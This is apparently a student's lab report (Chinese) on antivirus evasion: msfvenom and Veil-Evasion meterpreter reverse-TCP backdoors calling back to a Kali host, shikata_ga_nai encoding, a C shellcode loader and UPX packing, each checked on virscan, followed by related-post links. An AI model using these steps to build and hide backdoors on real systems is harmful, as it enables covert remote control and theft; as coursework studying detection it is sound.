20155308 《网络攻防》 Exp3 免杀原理与实践

基础问题回答

  1. 杀软是如何检测出恶意代码的?
  • 基于特征来检测:恶意代码中一般会有一段有较明显特征的代码也就是特征码,如果杀毒软件检测到有程序包含的特征码与其特征码库的代码相匹配,就会把该程序当作恶意软件。
  • 基于行为来检测:通过对恶意代码的观察、研究,有一些行为是恶意代码的共同行为,而且比较特殊。所以当一个程序在运行时,杀毒软件会监视其行为,如果发现了这种特殊的行为,则会把它当成恶意软件。
  1. 免杀是做什么?
  • 能使病毒木马避免被杀毒软件查杀的技术。
  1. 免杀的基本方法有哪些?
  • 特征码定位、加壳、加花、再编译等等。但是这些方法在生活中都没有怎么使用过,所以希望通过这一次的实验能够进行了解。

实践过程记录

使用msf生成后门程序的检测

  • 直接将上周做实验时用msf生成的后门文件放在virscan.org中进行扫描,扫描结果如下:

之前我命名的后面文件名称为"20155308_backdoor.exe",会产生以下提示:

  • 所以我将文件名称中的学号删除,再进行扫描,结果如下:







  • 可以看出,报毒率挺高。如果在使用msf时对它多编码几次,观察报毒率的变化。(进行编码十次)

Msfvenom是Metasploit平台下用来编码payloads免杀的工具。

# msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai  -b ‘\x00’ LHOST=192.168.20.136 LPORT=443 -f exe > met-encoded.exe



  • 将生成的文件放到网站上扫描一下:

  • 可以发现无论编码多少次都是一样,所以想要利用编码次数来达到免杀效果显然是不行的。

使用veil-evasion生成后门程序的检测

Veil-Evasion是一个免杀平台,与Metasploit有点类似,在Kalil软件库中有,但默认没装。免杀效果比较好。

  • 安装Veil-Evasion
  • 这一部分因为下载速度太慢了,所以用了老师的虚拟机。
  • 安装之后,首先要启用veil,输入命令:“veil”。这部分我在进入的时候提示如下,所以我需要输入“veil-evasion”进入。



  • 输入命令use python/meterpreter/rev_tcp设置payload。

  • 输入命令set LHOST 192.168.91.128 设置反弹连接IP(此IP为kali机的IP地址),输入命令set LPORT 5308设置反弹端口5308



  • 输入命令generate生成程序,并输入后门程序名称“hwf5308”

  • 该生成的文件hwf5308.exe,路径为/var/lib/veil-evasion/output/compiled

  • 最终用virscan工具查下试试,有没有起到免杀的效果,结果如下



  • 比之前用msf生成的文件报毒率要更低

利用shellcode编写后门程序的检测

  • 使用msf生成一个C语言格式的shellcode,即输入指令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.91.130 LPORT=5308 -f c

    (其中,LHOST输入kali机的地址,LPORT输入自己的学号)后进行编译。

  • 创建一个文件20155308.c,然后将unsigned char buf[]赋值到其中,代码如下:
unsigned char buf[] =
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
......
"\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5"; int main()
{
int (*func)() = (int(*)())buf;
func();
}
  • 使用命令:i686-w64-mingw32-g++ 20155308.c -o 20155308.exe编译这个.c文件为可执行文件:

  • 在扫描软件上看看,因为系统提示不能出现数字,则我将文件名称改为“hwf.exe”。

  • 结果如下



  • 发现有点作用。

加壳

压缩壳UPX

# upx met_raw.exe -o met_raw.upxed.exe
Ultimate Packer for eXecutables
Copyright (C) 1996 - 2013
UPX 3.91 Markus Oberhumer, Laszlo Molnar & John Reiser Sep 30th 2013 File size Ratio Format Name
-------------------- ------ ----------- -----------
101678 -> 56110 55.18% win32/pe met.upxed.exe Packed 1 file.
#
  • 该指令加壳的命令格式:upx #需要加壳的文件名 -o #加壳后的文件名

此处为了方便实验,我将之前改名为“hwf.exe”文件改为“5308.exe”。

  • 进行扫描看看结果

  • 将后门拷至主机后通过免杀

实验体会

本次实验是了解恶意软件检测机制,通过这方面的漏洞进行文件的更改和后门的处理,用扫描软件进行扫描,以此来观察各种处理优缺点。通过实际的动手操作,验我们也可以发现要想制作出免杀的病毒其实也并不难,但是最关键的还是在于我们要提高自己的安全意识。通过对后门文件各种方式的隐藏的学习,我们应该反过来进行配置防火墙,监控端口等一些行为来保障我们计算机的安全。

离实战还缺些什么技术或步骤

  • 首先,我们现在做实验的时候经常使用一些简单的命令使后门程序植入靶机,但是实战中肯定不会这么简单。
  • 其次,我们现在的科技在不断发展,正如老师实验指导中所说,现在的一些杀软的公司,时刻盯着那些新的后面手段,所以我们得需要将技术成长到高于这些“老谋深算”的AV。

20155308 《网络攻防》 Exp3 免杀原理与实践的更多相关文章

  1. 2018-2019-2 20165205 网络攻防Exp3免杀原理与实践

    2018-2019-2 20165205 网络攻防Exp3免杀原理与实践 一.实践内容 1.1正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳工具,使用 ...

  2. 2018-2019-2 20165312《网络攻防技术》Exp3 免杀原理与实践

    2018-2019-2 20165312<网络攻防技术>Exp3 免杀原理与实践 课上知识点总结 1.恶意软件检测机制 基于特征码的检测(需要定期更新病毒库) 启发式恶意软件检测(实时监控 ...

  3. 20145236《网络攻防》 Exp3 免杀原理与实践

    20145236<网络攻防> Exp3 免杀原理与实践 一.基础问题回答 1.杀软是如何检测出恶意代码的? 恶意代码有其特有的特征码,杀软将特征码加入检测库中,当检测到一段代码中具有这样的 ...

  4. 20155226《网络攻防》 Exp3 免杀原理与实践

    20155226<网络攻防> Exp3 免杀原理与实践 实验过程 1. msfvenom直接生成meterpreter可执行文件 直接将上周做实验时用msf生成的后门文件放在virscan ...

  5. 20155318 《网络攻防》Exp3 免杀原理与实践

    20155318 <网络攻防>Exp3 免杀原理与实践 基础问题 杀软是如何检测出恶意代码的? 基于特征来检测:恶意代码中一般会有一段有较明显特征的代码也就是特征码,如果杀毒软件检测到有程 ...

  6. 20155321 《网络攻防》 Exp3 免杀原理与实践

    20155321 <网络攻防> Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 根据实验指导书,杀软有两个方法可以检测出恶意代码.第一种是基于特征码,即先对流行代码特 ...

  7. 20155330 《网络攻防》 Exp3 免杀原理与实践

    20155330 <网络攻防> Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 基于特征码.先对流行代码特征的提取,然后进行程序的比对,如果也检测到相应的特征码的程序 ...

  8. 2015306 白皎 《网络攻防》Exp3 免杀原理与实践

    2015306 白皎 <网络攻防>Exp3 免杀原理与实践 一.实践基础 免杀,故名思义,指的是一种能使病毒木马免于被杀毒软件查杀的技术. 免杀的方法有很多,比如加壳改壳.加垃圾指令.以及 ...

  9. 2018-2019-2 网络对抗技术 20165320 Exp3 免杀原理与实践

    ### 2018-2019-2 网络对抗技术 20165320 Exp3 免杀原理与实践 一.实验内容 1.1 正确使用msf编码器(0.5分),msfvenom生成如jar之类的其他文件(0.5分) ...

随机推荐

  1. Maven学习(六)maven使用中遇到的坑

    坑1:使用eclipse构建web项目时,pom.xml中 <packaging>war</packaging> 报错 eclipse给出的报错信息提示是:web.xml is ...

  2. java实现文件复制粘贴功能

    java编程思想中讲到了IO流的思想,以前对于java基础总是不够深入,浅尝辄止,如今碰到语句插桩的时候就感到书到用时方恨少啊! 文件的复制涉及到源文件和新文件(无需手动创建),给出源文件的路径和文件 ...

  3. 测试笔试单选题(持续更新ing)

    1.在GB/T17544中,软件包质量要求包括三部分,即产品描述要求._____.程 序和数据要求.( A ) A.用户文档要求 B.系统功能要求 C.设计要求说明 D.软件配置要求 2.软件的六大质 ...

  4. 处理 Windows 虚拟机的计划内维护通知

    Azure 定期执行更新,以提高虚拟机的主机基础结构的可靠性.性能及安全性. 更新包括如下更改:修补托管环境或升级以及解除硬件授权. 大多数此类更新在执行时不会影响托管的虚拟机. 但是,也会存在更新产 ...

  5. CSS| position定位和float浮动

    对基础知识再度做个巩固和梳理. 一.position定位 (一):position的属性 1.absolute:生成绝对定位的元素,相对于最近一级定位不是static的父元素来进行定位: 2.rela ...

  6. python基础学习1

    一.python第一个程序 print("hello world") 二.变量的命名规则 1. 字母数字下划线组成 2. 不能以数字开头,不能含有特殊字符和空格 3. 不能以保留字 ...

  7. DeepWalk学习

    DeepWalk Background 使用机器学习的算法解决问题需要有大量的信息,但是现实世界中的网络中的信息往往比较少,这就导致传统机器学习算法不能在网络中广泛使用. (Ps: 传统机器学习分类问 ...

  8. python string.md

    string 包含用于处理文本的常量和类.string模块始于Python的最早版本. 2.0版本中, 许多之前只在模块中实现的函数被转移为string对象的方法. 之后的版本中, 虽然这些函数仍然可 ...

  9. BZOJ5016:[SNOI2017]一个简单的询问(莫队)

    Description 给你一个长度为N的序列ai,1≤i≤N和q组询问,每组询问读入l1,r1,l2,r2,需输出 get(l,r,x)表示计算区间[l,r]中,数字x出现了多少次. Input 第 ...

  10. 友盟推送SDK集成测试、常见问题以及注意事项总结

    最近为了解决公司APP在一些手机出现的推送问题重新集成了最新版的友盟推送SDK,花费了几天时间终于把集成和测试工作完成,最终在华为,Nexus,三星,小米,HTC,魅族等10多部手机上测试并达到了预想 ...